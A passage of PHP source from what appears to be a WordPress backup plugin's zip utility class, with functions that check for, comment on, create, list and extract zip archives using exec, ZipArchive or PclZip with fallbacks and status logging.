"ZIPARCHIVE::ER_INTERNAL"; $error_description = "Internal error"; break; case ZIPARCHIVE::ER_REMOVE: $error_name = "ZIPARCHIVE::ER_REMOVE"; $error_description = "Can't remove file"; break; case ZIPARCHIVE::ER_DELETED: $error_name = "ZIPARCHIVE::ER_DELETED"; $error_description = "Entry has been deleted"; break; default: $error_name = "ZIPARCHIVE::ERR_UNKNOWN"; $error_description = "Unkmown error"; } $error_string = $error_name . "(" . $error . ") : " . $error_description; } else { // If the ZipArchive class doesn't exists just return a generic $error_string = "ZIPARCHIVE::ER_UNKNOWN(" . $error . ") : Unknown error"; } // One way or another we have a string to return return $error_string; } // Returns true if the file (with path) exists in the ZIP. // If leave_open is true then the zip object will be left open for faster checking for subsequent files within this zip // Note: leave_open functionality currently not implemented function file_exists( $zip_file, $locate_file, $leave_open = false ) { // Use ZipArchive if available if ( in_array( 'ziparchive', $this->_zip_methods ) ) { // Make doubly sure it is available - if not we'll just drop through if ( class_exists( 'ZipArchive', false) ) { $za = new ZipArchive(); $result = $za->open( $zip_file ); // Make sure we opened the zip ok if ( $result === true ) { // Now try and find the index of the file $index = $za->locateName( $locate_file ); // We have finished with the archive (leave_open ignored for now) $za->close(); // If we got an index we found it otherwise not found if ( $index !== false ) { pb_backupbuddy::status( 'details', __('File found (ziparchive)','it-l10n-backupbuddy' ) . ': ' . $locate_file ); return true; } else { pb_backupbuddy::status( 'details', __('File not found (ziparchive)','it-l10n-backupbuddy' ) . ': ' . $locate_file ); return false; } } else { // Couldn't open archive - drop through as maybe other method will succeed? $error_string = $this->ziparchive_error_info( $result ); pb_backupbuddy::status( 'details', sprintf( __('ZipArchive failed to open file to check if file exists (looking for %1$s in %2$s) - Error Info: %3$s.','it-l10n-backupbuddy' ), $locate_file , $zip_file, $error_string ) ); } } else { // Something fishy - the methods indicated ziparchive but we couldn't find the class pb_backupbuddy::status( 'details', __('ziparchive indicated as available method but ZipArchive class non-existent','it-l10n-backupbuddy' ) ); } } // Dropped through because ZipArchive not available or failed to open file if ( in_array( 'pclzip', $this->_zip_methods ) ) { // Make sure we have it if ( !class_exists( 'PclZip', false ) ) { // It's not already loaded so try and find/load it from possible locations if ( file_exists( ABSPATH . 'wp-admin/includes/class-pclzip.php' ) ) { // Running under WordPress @include_once( ABSPATH . 'wp-admin/includes/class-pclzip.php' ); } elseif ( file_exists( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ) ) { // Running Standalone (importbuddy) @include_once( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ); } } // Make sure we did load it if ( class_exists( 'PclZip', false ) ) { $za = new PclZip( $zip_file ); // Make sure we opened the zip ok and it has content if ( ( $content_list = $za->listContent() ) !== 0 ) { // Get each file in sequence by index and get the properties for ( $i = 0; $i < sizeof( $content_list ); $i++ ) { $stat = $content_list[ $i ]; // Assume the key exists (consider testing) if ( $stat[ 'filename' ] == $locate_file ) { // File found so we can just return pb_backupbuddy::status( 'details', __('File found (pclzip)','it-l10n-backupbuddy' ) . ': ' . $locate_file ); return true; } } // Only get here if the file wasn't found pb_backupbuddy::status( 'details', __('File not found (pclzip)','it-l10n-backupbuddy' ) . ': ' . $locate_file ); return false; } else { // Couldn't open archive - drop through as maybe other method will succeed? $error_string = $za->errorInfo( true ); pb_backupbuddy::status( 'details', sprintf( __('pclzip failed to open file to check if file exists (looking for %1$s in %2$s) - Error Info: %3$s.','it-l10n-backupbuddy' ), $locate_file , $zip_file, $error_string ) ); } } else { // Something fishy - the methods indicated pclzip but we couldn't find the class pb_backupbuddy::status( 'details', __('pclzip indicated as available method but class PclZip non-existent','it-l10n-backupbuddy' ) ); } } // If we got this far then no method to check backup content was available or worked pb_backupbuddy::status( 'details', sprintf( __('Unable to check if file exists (looking for %1$s in %2$s): No compatible zip method found.','it-l10n-backupbuddy' ), $locate_file, $zip_file ) ); return false; } /* set_comment() * * Retrieve archive comment. * * @param string $zip_file Filename of archive to set comment on. * @param string $comment Comment to apply to archive. * @return boolean/string true on success, error message otherwise. */ function set_comment( $zip_file, $comment ) { //Use ZipArchive if available if ( in_array( 'ziparchive', $this->_zip_methods ) ) { // Make doubly sure it is available if ( class_exists( 'ZipArchive', false ) ) { $za = new ZipArchive; $result = $za->open( $zip_file ); // Make sure at least the zip file opened ok if ( $result === true ) { // Set the comment - true on success, false on failure $result = $za->setArchiveComment( $comment ); $za->close(); // If we got back true then all is well with the world if ( $result === true ) { pb_backupbuddy::status( 'details', sprintf( __('ZipArchive set comment in file %1$s','it-l10n-backupbuddy' ), $zip_file ) ); return true; } else { // If we failed to set the commnent then log it (?) and drop through pb_backupbuddy::status( 'details', sprintf( __('ZipArchive failed to set comment in file %1$s','it-l10n-backupbuddy' ), $zip_file ) ); } } else { // If we couldn't open the zip file then log it (?) and drop through $error_string = $this->ziparchive_error_info( $result ); pb_backupbuddy::status( 'details', sprintf( __('ZipArchive failed to open file to set comment in file %1$s - Error Info: %2$s','it-l10n-backupbuddy' ), $zip_file, $error_string ) ); } } else { // Something fishy - the methods indicated ziparchive but we couldn't find the class pb_backupbuddy::status( 'details', __('ziparchive indicated as available method but ZipArchive class non-existent','it-l10n-backupbuddy' ) ); } } // Dropped through because ZipArchive not available or failed for some reason if ( in_array( 'pclzip', $this->_zip_methods ) ) { // Make sure we have it if ( !class_exists( 'PclZip', false ) ) { // It's not already loaded so try and find/load it from possible locations if ( file_exists( ABSPATH . 'wp-admin/includes/class-pclzip.php' ) ) { // Running under WordPress @include_once( ABSPATH . 'wp-admin/includes/class-pclzip.php' ); } elseif ( file_exists( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ) ) { // Running Standalone (importbuddy) @include_once( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ); } } // Make sure we did load it if ( class_exists( 'PclZip', false) ) { $za = new PclZip( $zip_file ); // Make sure we opened the zip ok and we added the comment ok // Note: using empty array as we don't actually want to add any files if ( ( $list = $za->add( array(), PCLZIP_OPT_COMMENT, $comment ) ) !== 0 ) { // We got a list back so adding comment should have been successful pb_backupbuddy::status( 'details', sprintf( __('PclZip set comment in file %1$s','it-l10n-backupbuddy' ), $zip_file ) ); return true; } else { // If we failed to set the commnent then log it (?) and drop through $error_string = $za->errorInfo( true ); pb_backupbuddy::status( 'details', sprintf( __('PclZip failed to set comment in file %1$s - Error Info: %2$s','it-l10n-backupbuddy' ), $zip_file, $error_string ) ); } } else { // Something fishy - the methods indicated pclzip but we couldn't find the class pb_backupbuddy::status( 'details', __('pclzip indicated as available method but class PclZip non-existent','it-l10n-backupbuddy' ) ); } } // We couldn't set a comment at all - either no available method or all methods failed pb_backupbuddy::status( 'details', sprintf( __('Unable to set comment in file %1$s: No compatible zip method found or all methods failed - note stored internally only.','it-l10n-backupbuddy' ), $zip_file ) ); // Return message for display - maybe should return false and have caller display it's own message? $message = "\n\nUnable to set note in file.\nThe note will only be stored internally in your settings and not in the zip file itself."; return $message; } // End set_comment(). /* get_comment() * * Retrieve archive comment. * * @param string $zip_file Filename of archive to retrieve comment from. * @return string Zip comment. */ function get_comment( $zip_file ) { // Use ZipArchive if available if ( in_array( 'ziparchive', $this->_zip_methods ) ) { // Make doubly sure it is available if ( class_exists( 'ZipArchive', false ) ) { $za = new ZipArchive(); $result = $za->open( $zip_file ); // Make sure that at least the zip file opened ok if ( $result === true ) { // Get the comment or false on failure for some reason $comment = $za->getArchiveComment(); $za->close(); // If we have a comment (even if empty) then return it if ( $comment !== false ) { // Note: new archives will return an empty comment if one was not added at creation pb_backupbuddy::status( 'details', sprintf( __('ZipArchive retrieved comment in file %1$s','it-l10n-backupbuddy' ), $zip_file ) ); // Format has changed and no longer encoding as htmlemtities when setting comment // For older backups may need to remove encoding - action _should_ be null if N/A // Only spanner would be if someone had put an entity in their comment but that is // really an outsider and in any case the correction is simply to edit and resave // TODO: Remove this when new format has been in use for some time $comment = html_entity_decode( $comment ); return $comment; } else { // If we failed to get the commnent then log it (?) and drop through pb_backupbuddy::status( 'details', sprintf( __('ZipArchive failed to retrieve comment in file %1$s','it-l10n-backupbuddy' ), $zip_file ) ); } } else { // If we couldn't open the zip file then log it (?) and drop through $error_string = $this->ziparchive_error_info( $result ); pb_backupbuddy::status( 'details', sprintf( __('ZipArchive failed to open file to retrieve comment in file %1$s - Error Info: %2$s','it-l10n-backupbuddy' ), $zip_file, $error_string ) ); } } else { // Something fishy - the methods indicated ziparchive but we couldn't find the class pb_backupbuddy::status( 'details', __('ziparchive indicated as available method but ZipArchive class non-existent','it-l10n-backupbuddy' ) ); } } // Dropped through because ZipArchive not available or failed for some reason if ( in_array( 'pclzip', $this->_zip_methods ) ) { // Make sure we have it if ( !class_exists( 'PclZip', false ) ) { // It's not already loaded so try and find/load it from possible locations if ( file_exists( ABSPATH . 'wp-admin/includes/class-pclzip.php' ) ) { // Running under WordPress @include_once( ABSPATH . 'wp-admin/includes/class-pclzip.php' ); } elseif ( file_exists( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ) ) { // Running Standalone (importbuddy) @include_once( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ); } } // Make sure we did load it if ( class_exists( 'PclZip', false) ) { $za = new PclZip( $zip_file ); // Make sure we opened the zip ok and it has properties if ( ( $properties = $za->properties() ) !== 0 ) { // We got properties so should have a comment to return, even if empty pb_backupbuddy::status( 'details', sprintf( __('PclZip retrieved comment in file %1$s','it-l10n-backupbuddy' ), $zip_file ) ); $comment = $properties[ 'comment' ]; // Format has changed and no longer encoding as htmlemtities when setting comment // For older backups may need to remove encoding - action _should_ be null if N/A // Only spanner would be if someone had put an entity in their comment but that is // really an outsider and in any case the correction is simply to edit and resave // TODO: Remove this when new format has been in use for some time $comment = html_entity_decode( $comment ); return $comment; } else { // If we failed to get the commnent then log it (?) and drop through $error_string = $za->errorInfo( true ); pb_backupbuddy::status( 'details', sprintf( __('PclZip failed to retrieve comment in file %1$s - Error Info: %2$s','it-l10n-backupbuddy' ), $zip_file, $error_string ) ); } } else { // Something fishy - the methods indicated pclzip but we couldn't find the class pb_backupbuddy::status( 'details', __('pclzip indicated as available method but class PclZip non-existent','it-l10n-backupbuddy' ) ); } } // We couldn't get a comment at all - either no available method or all methods failed pb_backupbuddy::status( 'details', __('Unable to get comment: No compatible zip method found.','it-l10n-backupbuddy' ) ); return false; } // End get_comment(). // FOR FUTURE USE; NOT YET IMPLEMENTED. Use to check .sql file is non-empty. function file_stats( $zip_file, $locate_file, $leave_open = false ) { if ( in_array( 'ziparchive', $this->_zip_methods ) ) { $this->_zip = new ZipArchive; if ( $this->_zip->open( $zip_file ) === true ) { if ( ( $stats = $this->_zip->statName( $locate_file ) ) === false ) { // File not found in zip. $this->_zip->close(); pb_backupbuddy::status( 'details', __('File not found (ziparchive) for stats','it-l10n-backupbuddy' ) . ': ' . $locate_file ); return false; } $this->_zip->close(); return $stats; } else { pb_backupbuddy::status( 'details', sprintf( __('ZipArchive failed to open file to check stats (looking in %1$s).','it-l10n-backupbuddy' ), $zip_file ) ); return false; } } // If we made it this far then ziparchive not available/failed. if ( in_array( 'pclzip', $this->_zip_methods ) ) { require_once( ABSPATH . 'wp-admin/includes/class-pclzip.php' ); $this->_zip = new PclZip( $zip_file ); if ( ( $file_list = $this->_zip->listContent() ) == 0 ) { // If zero, zip is corrupt or empty. pb_backupbuddy::status( 'details', $this->_zip->errorInfo( true ) ); } else { foreach( $file_list as $file ) { if ( $file['filename'] == $locate_file ) { // Found file. return true; } } pb_backupbuddy::status( 'details', __('File not found (pclzip)','it-l10n-backupbuddy' ) . ': ' . $locate_file ); return false; } } else { pb_backupbuddy::status( 'details', __('Unable to check if file exists: No compatible zip method found.','it-l10n-backupbuddy' ) ); return false; } } /* get_zip_methods() * * Get an array of the zip methods. Useful for transient caching for constructor. * * @return array Array of methods. */ public function get_zip_methods() { $this->_zip_methods; } // End get_zip_methods(); /** * add_directory_to_zip() * * Adds a directory to a new or existing (TODO: not yet available) ZIP file. * * $zip_file string Full path & filename of ZIP file to create. * $add_directory string Full directory to add to zip file. * $compression boolean True to enable ZIP compression, * (if possible with available zip methods) * $excludes array(strings) Array of strings of paths/files to exclude from zipping, * (if possible with available zip methods). * $temporary_zip_directory string Optional. Full directory path to directory to temporarily place ZIP * file while creating. Uses same directory if omitted. * $force_compatibility_mode boolean True: only use PCLZip. False: try exec first if available, * and fallback to lesser methods as required. * * @return true on success, false otherwise * */ function add_directory_to_zip( $zip_file, $add_directory, $compression, $excludes = array(), $temporary_zip_directory = '', $force_compatibility_mode = false ) { if ( $force_compatibility_mode === true ) { $zip_methods = array( 'pclzip' ); pb_backupbuddy::status( 'message', __('Forced compatibility mode (PCLZip) based on settings. This is slower and less reliable.','it-l10n-backupbuddy' ) ); } else { $zip_methods = $this->_zip_methods; pb_backupbuddy::status( 'details', __('Using all available zip methods in preferred order.','it-l10n-backupbuddy' ) ); } $append = false; // Possible future option to allow appending if file exists. // Normalize $temporary_zip_directory to format: /xxx/yyy/zzz/. $temporary_zip_directory = rtrim( $temporary_zip_directory, '/\\' ) . '/'; if ( !empty( $temporary_zip_directory ) ) { if ( !file_exists( $temporary_zip_directory ) ) { // Create temp dir if it does not exist. mkdir( $temporary_zip_directory ); } } if ( is_array( $excludes ) ) { $excludes_text = implode( ',', $excludes ); } else { $excludes_text = '(in file: `' . $excludes . '`)'; } pb_backupbuddy::status( 'details', __('Creating ZIP file','it-l10n-backupbuddy' ) . ' `' . $zip_file . '`. ' . __('Adding directory','it-l10n-backupbuddy' ) . ' `' . $add_directory . '`. ' . __('Compression','it-l10n-backupbuddy' ) . ': ' . $compression . '; ' . __('Excludes','it-l10n-backupbuddy' ) . ': ' . $excludes_text ); unset( $excludes_text ); if ( in_array( 'exec', $zip_methods ) ) { pb_backupbuddy::status( 'details', __('Using exec() method for ZIP.','it-l10n-backupbuddy' ) ); $command = 'zip -q -r'; if ( $compression !== true ) { $command .= ' -0'; pb_backupbuddy::status( 'details', __('Exec compression disabled based on settings.','it-l10n-backupbuddy' ) ); } if ( file_exists( $zip_file ) ) { if ( $append === true ) { pb_backupbuddy::status( 'details', __('ZIP file exists. Appending based on options.','it-l10n-backupbuddy' ) ); $command .= ' -g'; } else { pb_backupbuddy::status( 'details', __('ZIP file exists. Deleting & writing based on options.','it-l10n-backupbuddy' ) ); unlink( $zip_file ); } } //$command .= " -r"; // Set temporary directory to store ZIP while it's being generated. if ( !empty( $temporary_zip_directory ) ) { $command .= " -b '{$temporary_zip_directory}'"; } $command .= " '{$zip_file}' ."; // -i '*'"; // Not needed. Zip defaults to doing this. Removed July 10, 2012 for v3.0.41. // Handle exclusions by placing them in an exclusion text file. $exclusion_file = $temporary_zip_directory . 'exclusions.txt'; $this->_render_exclusions_file( $exclusion_file, $excludes ); pb_backupbuddy::status( 'details', 'Using exclusion file `' . $exclusion_file . '`.' ); $command .= ' -x@' . "'{$exclusion_file}'"; $command .= ' 2>&1'; // 2>&1 redirects STDERR to STDOUT $working_dir = getcwd(); chdir( $add_directory ); // Change directory to the path we are adding. if ( $this->_execpath != '' ) { pb_backupbuddy::status( 'details', __( 'Using custom exec() path: ', 'it-l10n-backupbuddy' ) . $this->_execpath ); } // Run ZIP command. if ( stristr( PHP_OS, 'WIN' ) && !stristr( PHP_OS, 'DARWIN' ) ) { // Running Windows. (not darwin) if ( file_exists( ABSPATH . 'zip.exe' ) ) { pb_backupbuddy::status( 'message', __('Attempting to use provided Windows zip.exe.','it-l10n-backupbuddy' ) ); $command = str_replace( '\'', '"', $command ); // Windows wants double quotes $command = ABSPATH . $command; } pb_backupbuddy::status( 'details', __('Exec command (Windows)','it-l10n-backupbuddy' ) . ': ' . $command ); list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( $this->_execpath . $command ); } else { // Allow exec warnings not in Windows pb_backupbuddy::status( 'details', __('Exec command (Linux)','it-l10n-backupbuddy' ) . ': ' . $command ); list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( $this->_execpath . $command ); } // Cleanup exclusions file if it exists. if ( file_exists( $temporary_zip_directory . 'exclusions.txt' ) ) { @unlink( $temporary_zip_directory . 'exclusions.txt' ); } sleep( 1 ); // We may not have a zip file or we may have one but there was error/warning when producing it // Note: In event of warnings we could still get a zip file if the script terminates whilst zip command still running if ( ( ! file_exists( $zip_file ) ) || ( $exec_exit_code != 0 ) ) { // Log the failure pb_backupbuddy::status( 'message', __( 'Full speed mode did not complete. Trying compatibility mode next.','it-l10n-backupbuddy' ) ); // Check whether a zip file was actually produced in the backups directory (as opposed to the temp zip directory) if ( ! file_exists( $zip_file ) ) { pb_backupbuddy::status( 'details', __( 'Exec command ran but ZIP file did not exist.','it-l10n-backupbuddy' ) ); } // We did get a zip file but cannot truest it so must delete it if ( file_exists( $zip_file ) ) { pb_backupbuddy::status( 'details', __( 'Cleaning up damaged ZIP file. Issue #3489328998.','it-l10n-backupbuddy' ) ); unlink( $zip_file ); } // Need to clean up any temporary zip directory if ( file_exists( $temporary_zip_directory ) ) { pb_backupbuddy::status( 'details', __( 'Cleaning up incomplete temporary ZIP file. Issue #343894.','it-l10n-backupbuddy' ) ); if ( !( $this->delete_directory_recursive( $temporary_zip_directory ) ) ) { pb_backupbuddy::status( 'details', __( 'Unable to delete temporary zip directory','it-l10n-backupbuddy' ) ); } } } else { // We got a zip file and no errors/warnings so good to go pb_backupbuddy::status( 'message', __( 'Full speed mode completed & generated ZIP file.','it-l10n-backupbuddy' ) ); if ( !( $this->delete_directory_recursive( $temporary_zip_directory ) ) ) { pb_backupbuddy::status( 'details', __( 'Unable to delete temporary zip directory','it-l10n-backupbuddy' ) ); } return true; } chdir( $working_dir ); unset( $command ); unset( $exclude ); unset( $excluding_additional ); pb_backupbuddy::status( 'details', __('Exec command did not succeed. Falling back.','it-l10n-backupbuddy' ) ); } if ( in_array( 'pclzip', $zip_methods ) ) { pb_backupbuddy::status( 'message', __('Using Compatibility Mode for ZIP. This is slower and less reliable.','it-l10n-backupbuddy' ) ); pb_backupbuddy::status( 'message', __('If your backup times out in compatibility mode try disabled zip compression.','it-l10n-backupbuddy' ) ); pb_backupbuddy::status( 'message', __('WARNING: Directory/file exclusion unavailable in Compatibility Mode. Even existing old backups will be backed up.','it-l10n-backupbuddy' ) ); require_once( ABSPATH . 'wp-admin/includes/class-pclzip.php' ); // Determine zip file name / path. if ( !empty( $temporary_zip_directory ) ) { $pclzip_file = $temporary_zip_directory . basename( $zip_file ); } else { $pclzip_file = $zip_file; } if ( !file_exists( dirname( $pclzip_file ) ) ) { pb_backupbuddy::status( 'details', 'Creating PCLZip file directory `' . dirname( $pclzip_file ) . '`.' ); mkdir( dirname( $pclzip_file ) ); } // Instantiate PclZip Object. pb_backupbuddy::status( 'details', 'PclZip zip filename: `' . $pclzip_file . '`.' ); $pclzip = new PclZip( $pclzip_file ); if ( $compression !== true ) { pb_backupbuddy::status( 'details', __('PCLZip compression disabled based on settings.','it-l10n-backupbuddy' ) ); $arguments = array( $add_directory, PCLZIP_OPT_NO_COMPRESSION, PCLZIP_OPT_REMOVE_PATH, $add_directory ); } else { pb_backupbuddy::status( 'details', __('PCLZip compression enabled based on settings.','it-l10n-backupbuddy' ) ); $arguments = array( $add_directory, PCLZIP_OPT_REMOVE_PATH, $add_directory ); } $mode = 'create'; if ( file_exists( $zip_file ) && ( $append === true ) ) { pb_backupbuddy::status( 'details', __('ZIP file exists. Appending based on options.','it-l10n-backupbuddy' ) ); $mode = 'append'; } if ( $mode == 'append' ) { pb_backupbuddy::status( 'details', __('Appending to ZIP file via PCLZip.','it-l10n-backupbuddy' ) ); $retval = call_user_func_array( array( &$pclzip, 'add' ), $arguments ); } else { // create pb_backupbuddy::status( 'details', __( 'Creating ZIP file via PCLZip','it-l10n-backupbuddy' ) . ':' . implode( ';', $arguments ) ); //error_log( 'pclzip args: ' . print_r( $arguments, true ) . "\n" ); $retval = call_user_func_array( array( &$pclzip, 'create' ), $arguments ); } // Move the zip file if we were creating it in a temporary directory if ( !empty( $temporary_zip_directory ) ) { if ( file_exists( $temporary_zip_directory . basename( $zip_file ) ) ) { pb_backupbuddy::status( 'details', __('Renaming PCLZip File...','it-l10n-backupbuddy' ) ); rename( $temporary_zip_directory . basename( $zip_file ), $zip_file ); if ( file_exists( $zip_file ) ) { pb_backupbuddy::status( 'details', __('Renaming PCLZip success.','it-l10n-backupbuddy' ) ); } else { pb_backupbuddy::status( 'details', __('Renaming PCLZip failure.','it-l10n-backupbuddy' ) ); } } else { pb_backupbuddy::status( 'details', __('Temporary PCLZip archive file expected but not found. Please verify permissions on the ZIP archive directory.','it-l10n-backupbuddy' ) ); } } // Work out whether we have a problem or not if ( is_array( $retval ) ) { // It's an array so a good result $exitcode = 0; } else { // Not an array so a bad error code $exitcode = $pclzip->errorCode(); } // Convenience for handling different scanarios $result = false; // See if we can figure out what happened - note that $exitcode could be non-zero for a warning or error // There may be no zip file at all if there was a problem creating it or it may be left in the temp // directory if it couldn't be moved if ( ( ! file_exists( $zip_file ) ) || ( $exitcode != 0 ) ) { // If we had a non-zero exit code then should report it (file may or may not be created) if ( $exitcode != 0 ) { pb_backupbuddy::status( 'details', __('Zip process exit code: ','it-l10n-backupbuddy' ) . $exitcode ); } // Report whether or not the zip file was created if ( ! file_exists( $zip_file ) ) { pb_backupbuddy::status( 'details', __( 'Zip Archive file not created - check process exit code.','it-l10n-backupbuddy' ) ); } else { pb_backupbuddy::status( 'details', __( 'Zip Archive file created but will be removed - check process exit code.','it-l10n-backupbuddy' ) ); @unlink( $zip_file ); } // Put the error information into an array for consistency $zip_output[] = $pclzip->errorInfo( true ); // Now we don't move it (because either it doesn't exist or may be incomplete) but we'll show any error/wartning output if ( !empty( $zip_output ) ) { // Assume we don't have a lot of lines for now - could be risky assumption! foreach ( $zip_output as $line ) { pb_backupbuddy::status( 'details', __( 'Zip process reported: ','it-l10n-backupbuddy' ) . $line ); } // Extra details for particular error if ( false !== strpos( $pclzip->errorInfo( true ), 'PCLZIP_ERR_READ_OPEN_FAIL' ) ) { pb_backupbuddy::status( 'details', __( 'PCLZIP_ERR_READ_OPEN_FAIL details: This error indicates that fopen failed (returned false) when trying to open the file in the mode specified. This is almost always due to permissions.', 'it-l10n-backupbuddy' ) ); } } // One way or another we failed $result = false; } else { // Got file with no error or warnings at all so it should be good to go if ( file_exists( $zip_file ) ) { pb_backupbuddy::status( 'details', __('Zip Archive file moved to local archive directory.','it-l10n-backupbuddy' ) ); pb_backupbuddy::status( 'message', __( 'Zip Archive file successfully created with no errors or warnings.','it-l10n-backupbuddy' ) ); $result = true; } else { pb_backupbuddy::status( 'details', __('Zip Archive file could not be moved to local archive directory.','it-l10n-backupbuddy' ) ); $result = false; } } if ( !empty( $temporary_zip_directory ) ) { // Cleanup the temporary directory that will have all detritus and maybe incomplete zip file pb_backupbuddy::status( 'details', __('Removing temporary directory.','it-l10n-backupbuddy' ) ); if ( !( $this->delete_directory_recursive( $temporary_zip_directory ) ) ) { pb_backupbuddy::status( 'details', __('Temporary directory could not be deleted: ','it-l10n-backupbuddy' ) . $temporary_zip_directory ); } } if ( $result ) return $result; } // If we made it this far then something didnt result in a success. return false; } /** * unzip() * * Extracts the contents of a zip file to the specified directory using the best unzip methods possible. * * $zip_file string Full path & filename of ZIP file to create. * $destination_directory string Full directory path to extract into. * $force_compatibility_mode mixed false (default): use best methods available (zip exec first), falling back as needed. * ziparchive: first fallback method. (Medium performance) * pclzip: second fallback method. (Worst performance; buggy) * * @return`` true on success, false otherwise */ function unzip( $zip_file, $destination_directory, $force_compatibility_mode = false ) { $destination_directory = rtrim( $destination_directory, '\\/' ) . '/'; // Make sure trailing slash exists to normalize. if ( $force_compatibility_mode == 'ziparchive' ) { $zip_methods = array( 'ziparchive' ); pb_backupbuddy::status( 'message', __('Forced compatibility mode (ZipArchive; medium speed) based on settings. This is slower and less reliable.','it-l10n-backupbuddy' ) ); } elseif ( $force_compatibility_mode == 'pclzip' ) { $zip_methods = array( 'pclzip' ); pb_backupbuddy::status( 'message', __('Forced compatibility mode (PCLZip; slow speed) based on settings. This is slower and less reliable.','it-l10n-backupbuddy' ) ); } else { $zip_methods = $this->_zip_methods; pb_backupbuddy::status( 'details', __('Using all available zip methods in preferred order.','it-l10n-backupbuddy' ) ); } if ( in_array( 'exec', $zip_methods ) ) { pb_backupbuddy::status( 'details', 'Starting highspeed extraction (exec)... This may take a moment...' ); $command = 'unzip -qo'; // q = quiet, o = overwrite without prompt. $command .= " '$zip_file' -d '$destination_directory' -x 'importbuddy.php'"; // x excludes importbuddy script to prevent overwriting newer importbuddy on extract step. // Handle windows. if ( stristr( PHP_OS, 'WIN' ) && !stristr( PHP_OS, 'DARWIN' ) ) { // Running Windows. (not darwin) if ( file_exists( ABSPATH . 'unzip.exe' ) ) { pb_backupbuddy::status( 'details', 'Attempting to use Windows unzip.exe.' ); $command = str_replace( '\'', '"', $command ); // Windows wants double quotes $command = ABSPATH . $command; } } $command .= ' 2>&1'; // Redirect STDERR to STDOUT. if ( $this->_execpath != '' ) { pb_backupbuddy::status( 'details', __( 'Using custom exec() path: ', 'it-l10n-backupbuddy' ) . $this->_execpath ); } pb_backupbuddy::status( 'details', 'Running ZIP command. This may take a moment.' ); list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( $this->_execpath . $command ); $failed = false; // Default. if ( !file_exists( $destination_directory . 'wp-login.php' ) && !file_exists( $destination_directory . 'db_1.sql' ) && !file_exists( $destination_directory . 'wordpress/wp-login.php' ) ) { // wp-login.php for WordPress, db_1.sql for DB backup, wordpress/wp-login.php for fresh WordPress downloaded from wp.org for MS export pb_backupbuddy::status( 'error', 'Both wp-login.php (full backups) and db_1.sql (database only backups) are missing after extraction. Unzip process appears to have failed.' ); $failed = true; } if ( $exec_exit_code != '0' ) { pb_backupbuddy::status( 'error', 'Exit code `' . $exec_exit_code . '` indicates a problem was encountered.' ); $failed = true; } // Sometimes exec returns success codes but never extracted actual files. Do a check to make sure known files were extracted to verify against that. if ( $failed === false ) { pb_backupbuddy::status( 'message', 'File extraction complete.' ); return true; } else { pb_backupbuddy::status( 'message', 'Falling back to next compatibility mode.' ); } } if ( in_array( 'ziparchive', $zip_methods ) ) { pb_backupbuddy::status( 'details', 'Starting medium speed extraction (ziparchive)... This may take a moment...' ); $zip = new ZipArchive; if ( $zip->open( $zip_file ) === true ) { if ( true === $zip->extractTo( $destination_directory ) ) { pb_backupbuddy::status( 'details', 'ZipArchive extraction success.' ); $zip->close(); return true; } else { $zip->close(); pb_backupbuddy::status( 'message', 'Error: ZipArchive was available but failed extracting files. Falling back to next compatibility mode.' ); } } else { pb_backupbuddy::status( 'message', 'Error: Unable to open zip file via ZipArchive. Falling back to next compatibility mode.' ); } } if ( in_array( 'pclzip', $zip_methods ) ) { pb_backupbuddy::status( 'details', 'Starting low speed extraction (pclzip)... This may take a moment...' ); if ( !class_exists( 'PclZip' ) ) { $pclzip_file = pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php'; pb_backupbuddy::status( 'details', 'PCLZip class not found. Attempting to load from `' . $pclzip_file . '`.' ); if ( file_exists( $pclzip_file ) ) { pb_backupbuddy::status( 'details', 'Loading `' . $pclzip_file . '`.' ); require_once( $pclzip_file ); } else { pb_backupbuddy::status( 'details', 'PCLZip file not found: `' . $pclzip_file . '`.' ); } } $archive = new PclZip( $zip_file ); $result = $archive->extract(); // Extract to current directory. Explicity using PCLZIP_OPT_PATH results in extraction to a PCLZIP_OPT_PATH subfolder. if ( 0 == $result ) { pb_backupbuddy::status( 'details', 'PCLZip Failure: ' . $archive->errorInfo( true ) ); pb_backupbuddy::status( 'message', 'Low speed (PCLZip) extraction failed.', $archive->errorInfo( true ) ); } else { return true; } } // Nothing succeeded if we made it this far... return false; } // Test availability of ZipArchive and that it actually works. function test_ziparchive() { if ( class_exists( 'ZipArchive' ) ) { $test_file = $this->_tempdir . 'temp_test_' . uniqid() . '.zip'; $zip = new ZipArchive; if ( $zip->open( $test_file, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE ) === true ) { $zip->addFile( __FILE__, 'this_is_a_test.txt'); $zip->close(); if ( file_exists( $test_file ) ) { unlink( $test_file ); pb_backupbuddy::status( 'details', __('ZipArchive test passed.','it-l10n-backupbuddy' ) ); return true; } else { pb_backupbuddy::status( 'details', __('ZipArchive test failed: Zip file not found.','it-l10n-backupbuddy' ) ); return false; } } else { pb_backupbuddy::status( 'details', __('ZipArchive test FAILED: Unable to create/open zip file.','it-l10n-backupbuddy' ) ); return false; } } } /* get_file_list() * * Get an array of all files in a zip file. * * @param * @return array */ public function get_file_list( $zip_file ) { $file_list = array(); // Use ZipArchive if available if ( in_array( 'ziparchive', $this->_zip_methods ) ) { // Make doubly sure it is available if ( class_exists( 'ZipArchive', false) ) { $za = new ZipArchive(); $result = $za->open( $zip_file ); // Make sure we opened the zip ok and it has content if ( $result === true ) { if ( ( $file_count = $za->numFiles ) > 0 ) { // Get each file in sequence by index and get the properties for( $i = 0; $i < $file_count; $i++ ){ $stat = $za->statIndex( $i ); // Assume all these keys do exist (consider testing) $file_list[] = array( $stat['name'], $stat['size'], $stat['comp_size'], $stat['mtime'], ); } } $za->close(); return $file_list; } else { // Couldn't open archive - drop through as maybe other method will succeed? $error_string = $this->ziparchive_error_info( $result ); pb_backupbuddy::status( 'details', sprintf( __('ZipArchive failed to open file to list content in file %1$s - Error Info: %2$s.','it-l10n-backupbuddy' ), $zip_file, $error_string ) ); } } else { // Something fishy - the methods indicated ziparchive but we couldn't find the class pb_backupbuddy::status( 'details', __('ziparchive indicated as available method but ZipArchive class non-existent','it-l10n-backupbuddy' ) ); } } // 